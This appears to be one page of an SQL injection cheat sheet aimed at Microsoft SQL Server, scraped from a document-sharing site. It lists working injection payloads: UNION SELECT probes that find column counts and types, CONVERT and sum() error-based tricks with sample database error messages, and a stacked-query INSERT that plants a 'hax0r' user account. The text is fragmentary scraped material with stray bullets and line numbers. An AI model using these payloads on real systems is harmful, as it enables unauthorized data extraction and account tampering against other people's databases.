Sql Injection Cheat Sheet Page 8
ADVERTISEMENT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18•
Use NULL in UNION injections for most data type instead of trying to guess
string, date, integer etc.
Be careful in Blind situtaions may you can understand error is coming
o
from DB or application itself. Because languages like ASP.NET
generally throws errors while trying to use NULL values (because
normally developers are not expecting to see NULL in a username field)
Finding Column Type
•
(S)
' union select sum(columntofind) from users--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or
average aggregate operation cannot take a varchar data type as
an argument.
If you are not getting error it means column is numeric.
•
Also you can use CAST() or CONVERT()
o
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null,
null, NULL, NULL, convert(image,1), null, null,NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
•
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.
•
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.
•
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! – Second column is not an integer.
•
11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.
•
11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ...
Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
You’ll get convert() errors before union target errors ! So start with convert() then
union
Simple Insert (MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL
Injection Notes
@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select
ADVERTISEMENT
0 votes
Related Articles
Related forms
Related Categories
Parent category: Education